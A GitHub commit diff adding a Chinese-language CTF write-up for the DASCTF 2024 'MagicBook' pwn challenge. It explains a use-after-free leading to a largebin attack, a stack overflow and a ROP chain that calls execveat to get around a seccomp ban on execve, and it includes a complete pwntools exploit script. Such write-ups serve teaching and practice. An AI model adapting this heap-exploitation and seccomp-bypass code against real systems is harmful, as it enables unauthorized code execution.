-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
b23c44b
commit c5b4114
Showing
2 changed files
with
144 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,144 @@ | ||
--- | ||
title: DASCTF 2024暑期挑战赛 - MagicBook | ||
date: 2024/7/30 09:14:00 | ||
updated: 2024/7/30 09:14:00 | ||
tags: | ||
- heap - largebin | ||
- largebin attack | ||
- rop | ||
excerpt: 利用堆块漏洞和largebin攻击,通过execveat获取shell并打印flag。 | ||
--- | ||
|
||
{% note tip fa-heart %} | ||
感谢 *dbgbgtf* 提供的脚本用以复现 | ||
{% endnote %} | ||
|
||
## 文件属性 | ||
|
||
|属性 |值 | | ||
|------|------| | ||
|Arch |x64 | | ||
|RELRO |Full | | ||
|Canary|off | | ||
|NX |on | | ||
|PIE |on | | ||
|strip |no | | ||
|libc |2.35-0ubuntu3.6| | ||
|
||
## seccomp rules | ||
|
||
<img src="/assets/dasjuly2024/seccomp.png" height="60%" width="60%"> | ||
|
||
## 解题思路 | ||
|
||
一个菜单题,没有show,只给了程序基地址。堆块删除不会清空, | ||
因此只能分配5个堆块。有一次堆块uaf机会, | ||
可以写`[ptr + 8]`~`[ptr + 0x20]`(刚好能写largebin的`bk_nextsize`) | ||
|
||
堆块大小允许超过0x400,因此可以做largebin attack,而在`edit_the_book`函数中, | ||
读取的长度是由`book`决定的。由于给了程序基地址,因此可以利用largebin attack, | ||
将堆地址写到`book`上,这样就可以造成栈溢出打rop | ||
|
||
{% note info fa-circle-info %} | ||
在[以前的文章中](/2023/12/02/abstract_shellcode/)中提到过`read`的参数`count`是不能超过`SSIZE_MAX`的, | ||
在官方wp中也提到了这一点,因此在主循环中每次都`book &= 0xffff`限制大小 | ||
{% endnote %} | ||
|
||
只禁了`execve`系统调用,因此可以使用`execveat`来拿shell | ||
|
||
{% note tip fa-info %} | ||
在设置传参函数的时候还要将r8置为0,因为这个`flags`在我们的情况下是`0x1e`, | ||
会导致`execveat`无法打开shell | ||
{% endnote %} | ||
|
||
{% notel green fa-info `execveat`在libc中出现的时刻 %} | ||
经过源码符号查找,首次出现这个系统调用的版本是[2.27](https://elixir.bootlin.com/glibc/glibc-2.27/source/sysdeps/unix/sysv/linux/fexecve.c#L43), | ||
正式出现函数封装的版本是[2.34](https://elixir.bootlin.com/glibc/glibc-2.34/source/sysdeps/unix/sysv/linux/execveat.c#L26) | ||
{% endnotel %} | ||
|
||
## EXPLOIT | ||
|
||
```python | ||
from pwn import * | ||
context.terminal = ['tmux','splitw','-h'] | ||
context.arch = 'amd64' | ||
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' | ||
EXE = './MagicBook' | ||
|
||
def payload(lo:int): | ||
global sh | ||
if lo: | ||
sh = process(EXE) | ||
if lo & 2: | ||
gdb.attach(sh) | ||
else: | ||
sh = remote('', 9999) | ||
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6') | ||
elf = ELF(EXE) | ||
|
||
def createBook(size:int): | ||
sh.sendlineafter(b'choice', b'1') | ||
sh.sendlineafter(b'need', str(size).encode()) | ||
|
||
def deleteBook(idx:int, page:int=0, content:bytes=None): | ||
sh.sendlineafter(b'choice', b'2') | ||
sh.sendlineafter(b'delete', str(idx).encode()) | ||
if content: | ||
sh.sendlineafter(b'y/n', b'y') | ||
sh.sendlineafter(b'page', str(page).encode()) | ||
sh.sendafter(b'content', content) | ||
else: | ||
sh.sendlineafter(b'y/n', b'n') | ||
|
||
def editBook(content: bytes): | ||
sh.sendlineafter(b'choice', b'3') | ||
sh.sendafter(b'story!\n', content) | ||
|
||
sh.recvuntil(b'gift: ') | ||
pieBase = int(sh.recv(14), 16) - elf.symbols['d'] | ||
success(GOLD_TEXT(f'Leak PIE base: {pieBase:#x}')) | ||
elf.address = pieBase | ||
|
||
createBook(0x4e0) # 0 | ||
createBook(0x20) # 1 prevent 0 from being merged | ||
createBook(0x4d0) # 2 | ||
deleteBook(0) # place 0 in unsorted bin | ||
createBook(0x4f0) # 3 place 0 in large bin | ||
|
||
deleteBook(2, 0, p64(0) * 2 + p64(elf.symbols['book'] - 0x20)) # place 2 in unsorted bin | ||
createBook(0x500) # 4 place 2 in large bin and trigger large bin attack | ||
# write a heap address on book | ||
# construct rop chain | ||
gadgets = ROP(elf) | ||
rdi = gadgets.rdi.address | ||
ret = gadgets.ret.address | ||
editBook(b'0'*0x28 + flat(rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['edit_the_book'])) | ||
|
||
libcBase = u64(sh.recv(6) + b'\0\0') - libc.symbols['puts'] | ||
success(GOLD_TEXT(f'Leak libcBase: {libcBase:#x}')) | ||
libc.address = libcBase | ||
|
||
gadgets = ROP(libc) | ||
rsi = gadgets.rsi.address | ||
rdx = gadgets.rdx.address # pop rdx; pop rbx; ret; | ||
rcx = gadgets.rcx.address | ||
r8 = libcBase + 0x1659e6 | ||
# execveat(0, "/bin/sh", NULL, NULL, 0) | ||
sh.send(b'0'*0x28 + flat(rdi, 0, rsi, next(libc.search(b'/bin/sh')), | ||
rdx, 0, 0, rcx, 0, r8, 0, libc.symbols['execveat'])) | ||
|
||
sh.clean() | ||
sh.interactive() | ||
``` | ||
|
||
{% note warning fa-exclamation %} | ||
禁用了`execve`后,对于fork出来的程序也是有效的,因此后续不能使用`cat flag`来打印文件内容, | ||
应使用 | ||
|
||
```sh | ||
read FLAG < flag | ||
echo $FLAG | ||
``` | ||
|
||
来打印flag | ||
{% endnote %} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.